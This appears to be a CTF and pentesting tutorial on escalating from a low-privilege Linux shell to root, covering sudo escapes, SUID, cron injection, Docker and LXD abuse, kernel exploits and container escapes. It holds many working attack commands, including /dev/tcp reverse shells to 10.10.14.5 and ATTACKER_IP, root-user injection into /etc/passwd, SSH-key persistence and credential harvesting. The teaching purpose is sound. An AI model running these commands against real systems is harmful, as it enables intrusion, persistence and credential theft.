kavklaw@llm ~ /guides/linux-privesc

kavklaw@llm $ sudo -l

Linux Privilege Escalation

🟡 Intermediate

From Low-Privilege Shell to Root, a Systematic Methodology

Intermediate 📖 35 min read
← Back to Guides

This guide assumes you already have a low-privilege shell on the target Linux machine (via a web exploit, SSH, reverse shell, etc.). If you need help getting that initial foothold, see the Reverse Shells & File Transfers guide.

Tools to have ready on your attacker machine (for transfer to the target):

  • LinPEAS — automated privilege escalation scanner. Download the latest from PEASS-ng releases
  • LinEnum — older but still useful enumeration script: github.com/rebootuser/LinEnum
  • pspy — process monitor (catches hidden cron jobs): github.com/DominicBreuker/pspy
  • linux-exploit-suggester — suggests kernel exploits based on kernel version
  • GTFOBins — bookmark this. It's a database of Unix binaries exploitable via sudo, SUID, or capabilities

You don't install these on your attacker machine — you download them and transfer them to the target as needed. Keep a privesc/ folder in your toolkit with these files ready to go. The simplest transfer: host a Python HTTP server on your machine (python3 -m http.server 8000) and wget or curl from the target.

🎯 What is Privilege Escalation?

You've gotten initial access to a Linux box, maybe through a web shell, SSH with stolen credentials, or an exploit. But you're logged in as www-data, apache, or some low-privilege user. Privilege escalation (going from a low-permission user to root/admin) is the process of going from that limited account to root.

In CTFs, the goal is usually to read /root/root.txt. In real-world pentesting, root access means you own the machine: install backdoors, pivot to other systems, access all data, and control the entire server.

The key insight about Linux privesc: it's almost always a misconfiguration, not a software exploit. The sysadmin left something writable, ran something as root that shouldn't be, or forgot to remove an old SUID binary (a file that runs with the owner's permissions instead of yours). Your job is to methodically check every possible vector until you find it.

The Unix Permission Model — Why It Matters

Every file and directory on Linux has three sets of permissions: owner (u), group (g), and other (o — everyone else). Each set has three bits: read (r), write (w), and execute (x). When you see -rwxr-xr--, that means: the owner can read/write/execute, the group can read/execute, and everyone else can only read.

Beyond these basic permissions, there are special bits that are the bread and butter of privilege escalation:

  • SUID (Set User ID) bit: When set on an executable, the program runs with the owner's permissions instead of the user who launched it. If root owns a SUID binary, anyone who runs it gets root-level execution for that program. This is by design for programs like passwd (which needs root access to update /etc/shadow), but becomes dangerous on custom or misconfigured binaries that allow shell escapes.
  • SGID (Set Group ID) bit: Same concept but for group permissions. Less commonly exploited but still worth checking.
  • Sticky bit: On directories like /tmp, prevents users from deleting each other's files. Not directly exploitable but good to understand.

Most privilege escalation comes down to this: finding places where the permission model has a gap — a file that's writable when it shouldn't be, a program that runs as root when it doesn't need to, or a special bit that grants more access than intended.

⚡ Quick Start

If you want a fast win, run these commands immediately upon landing on a box. The first three check for common misconfigurations that give you root access directly. The fourth runs an automated script that checks everything at once.

The Big Three — check these first, they solve 60%+ of CTF boxes:

sudo -l                          # What can you run as root?
find / -perm -4000 2>/dev/null   # SUID binaries
cat /etc/crontab                 # Cron jobs

Then run LinPEAS for automated enumeration:

curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash

📋 The Methodology — Systematic Enumeration Checklist

┌──────────────────────────────────────────────────────────────┐
│               LINUX PRIVILEGE ESCALATION FLOW                │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│   Low-Privilege Shell (www-data, user, etc.)                 │
│       │                                                      │
│       ▼                                                      │
│   sudo -l ──────────── Found entry? ──▶ GTFOBins ──▶ ROOT   │
│       │ nothing                                              │
│       ▼                                                      │
│   SUID binaries ────── Custom binary? ──▶ strings/ltrace     │
│       │ nothing            │                                 │
│       │                    └──▶ PATH hijack ──▶ ROOT         │
│       ▼                                                      │
│   Capabilities ─────── cap_setuid? ──▶ setuid(0) ──▶ ROOT   │
│       │ nothing                                              │
│       ▼                                                      │
│   Cron jobs ────────── Writable script? ──▶ Inject ──▶ ROOT │
│       │ nothing            │                                 │
│       │                    └──▶ Wildcard? ──▶ Tar trick      │
│       ▼                                                      │
│   Passwords ────────── Config files / history / reuse        │
│       │ nothing                                              │
│       ▼                                                      │
│   Kernel exploit ───── Last resort (PwnKit, DirtyPipe)       │
│                                                              │
└──────────────────────────────────────────────────────────────┘

Here's the order you should check things. This isn't random. It's organized from most likely to least likely based on hundreds of CTF boxes and real engagements:

  1. sudo -l — Sudo rights (check GTFOBins)
  2. SUID/SGID binaries — Files that run as root
  3. Capabilities — Fine-grained privilege assignments
  4. Cron jobs — Scheduled tasks running as root
  5. Writable files/scripts — Anything root runs that you can modify
  6. PATH hijacking — Writable directories in root's PATH
  7. Internal services — Ports bound to 127.0.0.1
  8. Password hunting — Config files, history, environment variables
  9. NFS shares — no_root_squash misconfig
  10. Docker/LXD group — Container breakout
  11. Kernel exploits — Last resort

1️⃣ sudo -l — The First Thing You Always Check

The sudo -l command shows what you can run as root (or another user) without needing root's password. This is the most common privesc vector in CTFs.

$ sudo -l
Matching Defaults entries for user on target:
    env_reset, mail_badpass

User user may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/python3
    (ALL) NOPASSWD: /usr/bin/find

When you see a binary listed, immediately check GTFOBins (Get The F*** Out Bins), a curated database of Unix binaries that can be exploited for privilege escalation. The idea is simple: many legitimate programs have features (like running shell commands or reading files) that become dangerous when run as root.

Common sudo Exploits

Each of these exploits works because the program has a built-in feature to run shell commands. When you run the program with sudo, that shell command inherits root privileges:

# ─── vim ──────────────────────────────────
sudo vim -c '!bash'              # -c runs a command on startup; !bash escapes to a shell

# ─── python3 ─────────────────────────────
sudo python3 -c 'import os; os.system("/bin/bash")'

# ─── find ────────────────────────────────
sudo find / -exec /bin/bash \; -quit

# ─── less ────────────────────────────────
sudo less /etc/passwd            # Then type: !bash

# ─── awk ─────────────────────────────────
sudo awk 'BEGIN {system("/bin/bash")}'

# ─── nmap (old versions with interactive) ─
sudo nmap --interactive  # Removed in modern Nmap versions
# Note: --interactive was removed in modern Nmap versions
!bash

# ─── nmap (newer — script engine) ────────
# Note: NSE scripts require a proper rule/action format to work
echo 'os.execute("/bin/bash")' > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

# ─── perl ────────────────────────────────
sudo perl -e 'exec "/bin/bash";'

# ─── ruby ────────────────────────────────
sudo ruby -e 'exec "/bin/bash"'

# ─── env ─────────────────────────────────
sudo env /bin/bash

# ─── tar ─────────────────────────────────
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# ─── zip ─────────────────────────────────
sudo zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"

Custom scripts: If sudo lets you run a script, check if:

  • You can edit the script
  • The script calls commands without full paths (PATH hijacking)
  • The script sources or includes other files you can modify

sudo Environment Tricks

Check for env_keep (preserved environment variables) in the sudo -l output. Normally, sudo clears your environment for security. But if it "keeps" certain variables, you can abuse them. Look for env_keep += LD_PRELOAD or env_keep += LD_LIBRARY_PATH — these control which shared libraries (reusable code modules) get loaded when a program starts.

LD_PRELOAD exploitation — if env_keep includes LD_PRELOAD, you can force any sudo-allowed program to load your malicious library before anything else:

# ─── LD_PRELOAD exploitation ────────────
cat > /tmp/shell.c << 'EOF'
#include 
#include 
#include 
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/any_allowed_binary

LD_LIBRARY_PATH exploitation — similar concept, but you replace a library the binary loads:

ldd /usr/bin/allowed_binary    # See what libraries it uses
# Then create a malicious version of one of those libraries
💡 Pro tip: If sudo -l says (ALL : ALL) NOPASSWD: ALL, just run sudo bash — you're already root. This is rare in CTFs but common in misconfigured development environments.

2️⃣ SUID/SGID Binaries

SUID (Set User ID) binaries run with the permissions of the file owner regardless of who executes them. If a binary is owned by root and has the SUID bit set, it runs as root when any user executes it. SGID (Set Group ID) is the same concept but for group permissions instead of user permissions.

# Find all SUID binaries (-perm -4000 matches the SUID permission bit)
find / -perm -4000 -type f 2>/dev/null

# Find all SGID binaries (-perm -2000 matches the SGID permission bit)
find / -perm -2000 -type f 2>/dev/null

# Find both
find / -perm /6000 -type f 2>/dev/null

# Common output:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/pkexec
/usr/local/bin/backup
/opt/scripts/runner

How to interpret SUID results:

  • Normal (ignore): /usr/bin/passwd, /usr/bin/sudo, /usr/bin/mount, /usr/bin/su — standard system binaries, heavily hardened
  • Interesting: /usr/bin/pkexec — CVE-2021-4034 (PwnKit)
  • Suspicious: /usr/local/bin/backup, /opt/scripts/runner — custom binaries, investigate immediately!

Exploiting SUID Binaries

Standard binaries — check GTFOBins for each:

# If /usr/bin/find is SUID:
find / -exec /bin/bash -p \; -quit   # -p preserves the effective UID (root)

# If /usr/bin/python3 is SUID:
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/cp is SUID — copy /etc/passwd, add a root user, copy it back:
cp /etc/passwd /tmp/passwd.bak
echo "hacker:$(openssl passwd -1 password123):0:0::/root:/bin/bash" >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
su hacker  # password: password123

Custom/unknown binaries — investigate what they do. strings extracts readable text from a binary (revealing hardcoded commands and paths). ltrace traces library function calls (like system()). strace traces system calls (file opens, network connections):

strings /usr/local/bin/backup      # Look for: system(), exec(), file paths, command names
ltrace /usr/local/bin/backup 2>&1  # Library calls — look for system("cat /etc/shadow")
strace /usr/local/bin/backup 2>&1  # System calls — what files and sockets does it access?

SUID + PATH Hijacking

If a SUID binary calls a command without a full path (e.g., strings shows it calls curl instead of /usr/bin/curl):

# Create a malicious version of that command
echo '#!/bin/bash' > /tmp/curl
echo 'bash -p' >> /tmp/curl
chmod +x /tmp/curl

# Prepend /tmp to PATH and run the SUID binary
export PATH=/tmp:$PATH
/usr/local/bin/backup
# → root shell!
🧠 Knowledge Check — sudo & SUID Exploitation
You run sudo -l and see: (ALL) NOPASSWD: /usr/bin/find. What command gives you a root shell?
The find command with -exec can execute any command. When run via sudo, the executed command inherits root privileges. sudo find / -exec /bin/bash \; -quit spawns a root shell. The -quit makes find exit after the first match. GTFOBins documents these shell escapes for dozens of common binaries.
You find a custom SUID binary. Running strings on it shows it calls curl without an absolute path. How do you exploit this?
This is PATH hijacking. When a SUID binary calls a command without its full path (e.g., curl instead of /usr/bin/curl), Linux searches PATH directories in order. By creating a malicious script named curl in /tmp (containing bash -p) and setting PATH=/tmp:$PATH, the SUID binary finds your fake curl first and executes it with root privileges.
Complete this command to find all SUID binaries on a Linux system:
find / -perm -4000 -type f 2>/dev/null searches the entire filesystem (/) for files (-type f) with the SUID bit set (-perm -4000). The 2>/dev/null suppresses "Permission denied" errors. The SUID bit (4000) means the file runs with the owner's permissions — if owned by root, it runs as root regardless of who executes it.

3️⃣ Linux Capabilities

SUID is an all-or-nothing approach: a binary either runs as root or it doesn't. Linux capabilities solve this by splitting "root power" into ~40 individual privileges. Instead of making a binary SUID root, an admin can grant just the specific capability it needs. For example, a network monitoring tool might only need cap_net_raw (capture packets) without needing full root access. The idea is good — principle of least privilege — but in practice, some capabilities are just as dangerous as full root.

The key capabilities to look for: cap_setuid lets a program change its user ID (meaning it can become root), cap_dac_read_search lets it bypass file read permissions (read any file on the system), and cap_net_raw lets it capture network traffic (sniff cleartext credentials). If you find any of these on a binary you can run, you likely have a path to root.

The following command searches the entire filesystem for binaries that have any capabilities set. The -r flag means recursive, and 2>/dev/null hides "permission denied" errors.

getcap -r / 2>/dev/null

Dangerous capabilities to look for:

  • cap_setuid+ep — can change UID → root (python3, perl, vim, openssl)
  • cap_dac_read_search — can read any file on the system
  • cap_net_raw — can capture network traffic (sniff credentials)
# ─── cap_setuid exploitation ─────────────
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'     # Python
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' # Perl

# ─── cap_dac_read_search (tar example) ───
tar -czf /tmp/shadow.tar.gz /etc/shadow
cd /tmp && tar -xzf shadow.tar.gz
cat etc/shadow

# ─── cap_net_raw ─────────────────────────
tcpdump -i any -w /tmp/capture.pcap

4️⃣ Cron Jobs

Cron jobs are scheduled tasks (like a timer that runs a script every minute, hour, or day). If root runs a cron job that references a file you can write to, you can inject commands that execute as root.

# Check system crontab
cat /etc/crontab

# Check cron directories
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
cat /etc/cron.d/*

# Check user crontabs
crontab -l                         # Your crontab
ls -la /var/spool/cron/crontabs/   # All user crontabs (need permissions)

Writable script exploit: The five * fields in a cron entry represent: minute, hour, day-of-month, month, day-of-week. * * * * * means "every minute." If a cron entry runs a script you can write to (e.g., * * * * * root /opt/scripts/backup.sh):

echo '#!/bin/bash' > /opt/scripts/backup.sh
echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' >> /opt/scripts/backup.sh
# Wait for cron to execute → root reverse shell

Tar wildcard injection: If a cron entry uses a wildcard (e.g., * * * * * root cd /home/user && tar czf /tmp/backup.tar.gz *):

echo "" > "/home/user/--checkpoint=1"
echo "" > "/home/user/--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.5/9001 0>&1' > /home/user/shell.sh

Finding Hidden Cron Jobs with pspy

Some cron jobs don't appear in /etc/crontab. The tool pspy watches for new processes as they start, letting you see what root is running even when you can't read the cron configuration files. The -pf flag monitors both processes and file events, and -i 1000 checks every 1000 milliseconds (1 second).

# pspy monitors processes without root privileges
# Download and transfer to target
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64 -pf -i 1000

# Watch for processes run by UID=0 (root)
# Example output:
# CMD: UID=0 PID=1234 | /bin/bash /opt/cleanup.sh
# CMD: UID=0 PID=1235 | python3 /root/scripts/monitor.py

# Now you know what root is running — check if you can modify those files
💡 Pro tip: pspy is invaluable because some cron jobs aren't listed in /etc/crontab. User-level crontabs (crontab -e), systemd timers, and at jobs won't show up in the system crontab but pspy catches them all.

5️⃣ Writable Files and PATH Hijacking

PATH hijacking works like this: when a program runs a command like curl without specifying the full path (/usr/bin/curl), Linux searches through your PATH directories in order to find it. If you can put a malicious script named curl in a directory that gets searched first, your script runs instead of the real one.

These commands help you find files and directories that you can write to, which you shouldn't normally be able to modify.

# Find writable files owned by root
find / -writable -type f 2>/dev/null | grep -v proc

# Find writable directories in PATH
echo $PATH | tr ':' '\n'
ls -la /usr/local/sbin/
ls -la /usr/local/bin/

# World-writable directories
find / -writable -type d 2>/dev/null

# Files with write permission for your group
find / -group $(id -gn) -writable 2>/dev/null

# Check if any running service uses a writable config/script
systemctl list-unit-files --type=service | grep enabled
cat /etc/systemd/system/*.service   # Check ExecStart paths

If you can write to any PATH directory, you can plant malicious binaries that get executed instead of the real ones.

6️⃣ Internal Services

Services bound to 127.0.0.1 (localhost) aren't accessible from the outside. They're only reachable from the machine itself. But since you're on the machine now, you can interact with them. These often have weaker security (no password, default config) because the sysadmin assumed nobody external could reach them.

Use ss (socket statistics) to list all listening ports. The -t flag shows TCP, -l shows only listening sockets, -n shows port numbers instead of names, and -p shows which process owns each socket.

ss -tlnp                       # TCP listeners
ss -ulnp                       # UDP listeners
netstat -tlnp 2>/dev/null      # Older systems

Common internal services to try:

  • 127.0.0.1:3306 → MySQL/MariaDB — try root with no password
  • 127.0.0.1:5432 → PostgreSQL
  • 127.0.0.1:8080 → Internal web app (might have admin panel)
  • 127.0.0.1:6379 → Redis (often no auth)
mysql -u root -h 127.0.0.1
psql -U postgres -h 127.0.0.1
curl http://127.0.0.1:8080
redis-cli -h 127.0.0.1

# Port forward to your machine to access web UIs
ssh -R 8080:127.0.0.1:8080 [email protected]

7️⃣ Password Hunting

You'd be amazed how often passwords are just lying around in config files, scripts, and history:

Configuration files:

cat /var/www/html/config.php
cat /var/www/html/wp-config.php          # WordPress DB creds
cat /var/www/html/.env                    # Laravel/Node.js env
cat /etc/mysql/my.cnf                     # MySQL config
cat /etc/postgresql/*/main/pg_hba.conf    # PostgreSQL auth config
cat /opt/*/config* 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

History files — look for passwords in commands, mysql -u root -p'password', sshpass:

cat ~/.bash_history
cat ~/.mysql_history
cat ~/.python_history
cat /home/*/.bash_history 2>/dev/null

Environment variables — applications sometimes pass DB_PASSWORD, API_KEY, etc.:

env
printenv
cat /proc/*/environ 2>/dev/null | tr '\0' '\n'

SSH keys — found a private key? Use it:

find / -name "id_rsa" 2>/dev/null
find / -name "id_ed25519" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null

chmod 600 id_rsa
ssh -i id_rsa root@localhost

Grep for passwords:

grep -rn "password" /var/www/ 2>/dev/null
grep -rn "passwd" /etc/ 2>/dev/null
grep -rn "DB_PASS\|DB_PASSWORD\|MYSQL_PASSWORD" /var/www/ 2>/dev/null

.git directories — check git logs for committed passwords:

find / -name ".git" -type d 2>/dev/null
cd /found/.git/.. && git log --all --oneline
git show <commit_hash>
git diff HEAD~5
💡 Pro tip: Password reuse is incredibly common. Found a database password? Try it as the root password: su root. Found credentials for one user? Try them for every user on the system. Humans are lazy — the same password gets used everywhere.
🧠 Knowledge Check — Cron Jobs, Services & Passwords
You see this in /etc/crontab: * * * * * root cd /home/user && tar czf /tmp/backup.tar.gz *. What makes this exploitable?
Tar wildcard injection! When tar encounters *, the shell expands it to all filenames in the directory. If you create files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh, tar interprets them as command-line options, not filenames. This causes tar to execute your shell.sh as root when the cron job runs. Always check for wildcards in cron jobs running as root.
Why is pspy important for Linux privilege escalation enumeration?
pspy watches /proc for new processes as they spawn, capturing commands run by any user including root. This is important because many cron jobs are stored in user-level crontabs (not /etc/crontab), systemd timers, or at jobs — none of which you can read as a low-privilege user. pspy reveals them all by detecting the actual process execution.

8️⃣ NFS no_root_squash

NFS (Network File System) lets you access files on a remote machine as if they were local. Normally, NFS "squashes" root access, meaning even if you're root on your machine, you won't be root on the shared folder. But if the config has no_root_squash, files you create as root on your machine are treated as root on the server too. This means you can create an SUID shell on the share and then run it from the target to get root.

# On target — check NFS exports
cat /etc/exports
# /srv/share *(rw,sync,no_root_squash)   ← Vulnerable!
# no_root_squash means root on the client = root on the share

# On attacker machine:
showmount -e target_ip
mkdir /tmp/nfs
mount -t nfs target_ip:/srv/share /tmp/nfs

# Create a SUID shell as root (on your machine):
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash

# On target:
/srv/share/rootbash -p
# → root shell!

9️⃣ Docker Group Abuse

Docker is a tool that runs lightweight virtual machines called containers. If your user is in the docker group, you can escalate to root because Docker lets you mount the real (host) filesystem inside a container where you have full root access. From there, you can read any file, add SSH keys, or modify system files.

# Check if you're in the docker group
id
# uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

# Mount the host root filesystem
docker run -v /:/host -it ubuntu bash
# Inside the container:
chroot /host
# → root on the host!

# Alternative — if docker images aren't available:
docker run -v /:/host -it alpine sh
cat /host/etc/shadow
cat /host/root/root.txt

# Can also add SSH key for persistence:
mkdir -p /host/root/.ssh
echo "your_public_key" >> /host/root/.ssh/authorized_keys

🔟 LXD/LXC Group Abuse

Similar to Docker group abuse — if you're in the lxd group, you can mount the host filesystem:

# Check group membership
id
# groups=...,108(lxd)

# On attacker — build a minimal Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine

# Transfer the .tar.gz to target

# On target:
lxc image import alpine-v3.18-x86_64.tar.gz --alias myalpine
lxc init myalpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

# Inside container:
cd /mnt/root/root
cat root.txt

⚠️ Kernel Exploits — Last Resort

Kernel exploits are powerful but risky. They can crash the system. Use them only after exhausting all other vectors.

# Gather kernel information
uname -a                     # Kernel version
cat /etc/os-release          # OS version
cat /proc/version            # Detailed version info

Common kernel exploits:

  • CVE-2022-0847 — DirtyPipe (Linux 5.8 – 5.16.11)
  • CVE-2021-4034 — PwnKit (pkexec — almost universal)
  • CVE-2021-3156 — Baron Samedit (sudo 1.8.2 – 1.9.5p1)
  • CVE-2016-5195 — DirtyCow (Linux 2.x – 4.x)
  • CVE-2019-13272 — PTRACE_TRACEME (Linux < 5.1.17)
  • CVE-2019-14287 — sudo bypass (sudo < 1.8.28)
# ─── PwnKit (CVE-2021-4034) ─────────────
# Almost always works on unpatched systems
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit    # → root

# ─── DirtyPipe (CVE-2022-0847) ───────────
# Linux 5.8+ to 5.16.11
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
gcc exploit-1.c -o exploit
./exploit    # Overwrites /etc/passwd to add root user

# ─── Baron Samedit (CVE-2021-3156) ──────
# sudo versions 1.8.2 through 1.9.5p1
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes (segfault), it's vulnerable
# Use the compiled exploit from GitHub

# ─── Automated exploit suggestion ────────
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# Linux Exploit Suggester 2 (Python)
python3 linux-exploit-suggester-2.py
💡 Pro tip: PwnKit (CVE-2021-4034) is your best friend. It works on almost every Linux distribution released before 2022 that has pkexec installed (which is most of them). It's reliable, doesn't crash the system, and gives you instant root. Always try it before more destructive kernel exploits.

🤖 Automated Enumeration Tools

LinPEAS — The Gold Standard

One-liner download and run:

curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash

Or transfer and run manually:

# On attacker:
python3 -m http.server 8000
# On target:
wget http://10.10.14.5:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

LinPEAS checks everything: sudo permissions, capabilities, SUID/SGID binaries, cron jobs, writable files, Docker/LXD, kernel CVEs, password files, SSH keys, network info, active services, and environment variables.

Color coding:

  • RED/YELLOW — high probability privesc vector → investigate immediately
  • GREEN — interesting info worth noting
  • LIGHT GREY — standard system info

LinEnum

# Older but still useful
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t   # -t for thorough tests

linux-smart-enumeration (lse)

# Tiered verbosity — shows only relevant info
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1   # Level 0=minimal, 1=interesting, 2=everything

🏆 Real CTF Examples

Example 1: Sudo + GTFOBins

# Box: Lame (HTB Easy)
$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Check GTFOBins for vim:
sudo vim -c '!bash'
# → root shell

Example 2: Cron Job + Writable Script

# Box: Cronos (HTB Medium)
$ cat /etc/crontab
* * * * * root php /var/www/laravel/artisan schedule:run

$ ls -la /var/www/laravel/artisan
-rwxrwxrwx 1 www-data www-data 1234 Jan 1 00:00 artisan

# We can write to the file that root's cron executes!
$ echo '<?php system("chmod +s /bin/bash"); ?>' > /var/www/laravel/artisan
# Wait 1 minute...
$ /bin/bash -p
# → root

Example 3: SUID + Relative Path

# Custom SUID binary found
$ find / -perm -4000 2>/dev/null
/usr/local/bin/sysinfo

$ strings /usr/local/bin/sysinfo
...
system("cat /etc/hostname")
system("df -h")
system("free -m")
...
# "df" is called without full path!

$ echo '#!/bin/bash\nbash -p' > /tmp/df
$ chmod +x /tmp/df
$ export PATH=/tmp:$PATH
$ /usr/local/bin/sysinfo
# → root (because /tmp/df ran instead of /usr/bin/df)

Example 4: Docker Group

$ id
uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

$ docker run -v /:/host -it alpine sh
# Inside container:
/ # cat /host/root/root.txt
f1a2b3c4d5e6f7a8b9c0...

🚫 Common Dead Ends (Don't Waste Time)

  • Standard SUID binaries/usr/bin/passwd, /usr/bin/mount, /usr/bin/su are SUID by design. They're heavily hardened. Move on.
  • Kernel exploits on patched systems — If uname -a shows a recent kernel, kernel exploits are unlikely. Check the date — anything after 2023 probably has PwnKit patched.
  • Trying to brute-force root password — It's almost never the intended path. If the box wanted you to crack root's password, it would give you /etc/shadow.
  • /proc/self/environ on modern kernels — Locked down since 2015. Don't waste time trying to read other users' environment.
  • Overly complex exploitation — If you're writing custom C code for 30 minutes, you're probably missing a simpler vector. Step back, re-enumerate.

🎯 Methodology Summary

  1. Land on the box — Upgrade your shell first (python3 -c 'import pty;pty.spawn("/bin/bash")')
  2. Quick checkssudo -l, id, uname -a, cat /etc/crontab
  3. Run LinPEAS — Let it do the thorough enumeration
  4. Check RED/YELLOW highlights — These are your most likely vectors
  5. GTFOBins everything — Every unusual binary in sudo, SUID, or capabilities
  6. Hunt passwords — Config files, history, environment variables
  7. Check internal services — What's listening on localhost?
  8. Kernel exploit as last resort — PwnKit first, then others

❌ Common Mistakes

  • Not upgrading your shell — A raw netcat shell can't run sudo -l or use su. Always upgrade to a full TTY first.
  • Skipping the basics — Running LinPEAS but not reading its output. The answer is usually in the first few screenfuls.
  • Tunnel vision — Fixating on one vector for hours. If it doesn't work after 15 minutes, move on and come back later.
  • Forgetting to check writable scripts — Just because a file is owned by root doesn't mean you can't write to it. Check permissions!
  • Not checking password reuse — Found a password anywhere? Try it for root and every other user.
  • Missing the -p flag — When using SUID bash: /bin/bash -p. Without -p, bash drops privileges.

🐳 Docker/Container Escape

Containers are everywhere in modern infrastructure. A container is like a lightweight sandbox, but it's not a perfect jail. Escaping from a container to the host machine is an important privesc path. If you find yourself inside a Docker container (or if the target user has Docker access), these techniques can give you root on the underlying host.

┌─────────────────────────────────────────────┐
│  Host OS (Linux)                            │
│  ┌───────────────┐  ┌───────────────┐       │
│  │  Container A  │  │  Container B  │       │
│  │  (your shell) │  │  (other app)  │       │
│  │               │  │               │       │
│  │  Can you      │  │               │       │
│  │  escape? ─────┼──┼───────────────┼──▶ ROOT on host
│  └───────────────┘  └───────────────┘       │
└─────────────────────────────────────────────┘

How to Tell You're in a Container

Signs you're inside a Docker container:

ls -la /.dockerenv               # This file exists in Docker containers
cat /proc/1/cgroup | grep docker # Cgroup shows "docker" in the path
hostname                         # Often a random hex string (e.g., a1b2c3d4e5f6)
cat /proc/1/sched | head -1      # PID 1 is NOT init/systemd — it's the app

Signs you're in an LXC/LXD container:

cat /proc/1/cgroup | grep lxc
ls -la /dev/lxd/

Docker Socket Abuse

If the Docker socket (/var/run/docker.sock) is mounted inside the container, you have full control over Docker on the host — which means root on the host.

# Check if Docker socket is accessible
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jan 1 00:00 /var/run/docker.sock

# If accessible, use it to mount the host filesystem:
# Method 1: Using docker CLI (if installed in container)
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host

# Method 2: Using curl if docker CLI isn't available
# List images:
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool

# Create a container with host filesystem mounted:
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' \
  http://localhost/containers/create

# Start the container:
curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/CONTAINER_ID/start

# Execute commands in it:
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Cmd":["cat","/host/etc/shadow"]}' \
  http://localhost/containers/CONTAINER_ID/exec

Docker Group Escalation (Host Access)

If you're on the host (not inside a container) and your user is in the docker group, you effectively have root access:

# Check group membership
id
# groups=...,999(docker)

# Method 1: Mount host filesystem
docker run -v /:/host -it alpine chroot /host bash

# Method 2: Use --pid=host to access host processes
docker run --pid=host --privileged -it alpine nsenter -t 1 -m -u -i -n bash
# nsenter enters the namespace of PID 1 (host init) → full host root shell

# Method 3: Add SSH key for persistence
docker run -v /root:/mnt -it alpine sh -c 'echo "YOUR_PUBLIC_KEY" >> /mnt/.ssh/authorized_keys'
ssh root@target

--privileged Container Escape

If a container was started with --privileged, it has nearly all host capabilities. You can escape by mounting the host filesystem through device access:

# Check if privileged
cat /proc/self/status | grep CapEff
# If CapEff shows many capabilities (e.g., 0000003fffffffff), you're privileged

# Find the host filesystem device
fdisk -l 2>/dev/null
# Or: lsblk, or cat /proc/partitions
# Look for: /dev/sda1 or /dev/xvda1

# Mount the host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
cat /mnt/host/etc/shadow
cat /mnt/host/root/root.txt

# Get a proper host shell via chroot:
chroot /mnt/host bash

# Alternative: Use cgroups to escape
# Create a cgroup notification script that runs on the host:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# → Reverse shell on the HOST

nsenter — Namespace Escape

# If you can access host's PID namespace (--pid=host):
nsenter -t 1 -m -u -i -n bash
# -t 1 = target PID 1 (host's init process)
# -m = mount namespace
# -u = UTS namespace (hostname)
# -i = IPC namespace
# -n = network namespace
# Result: full root shell in the host's namespaces

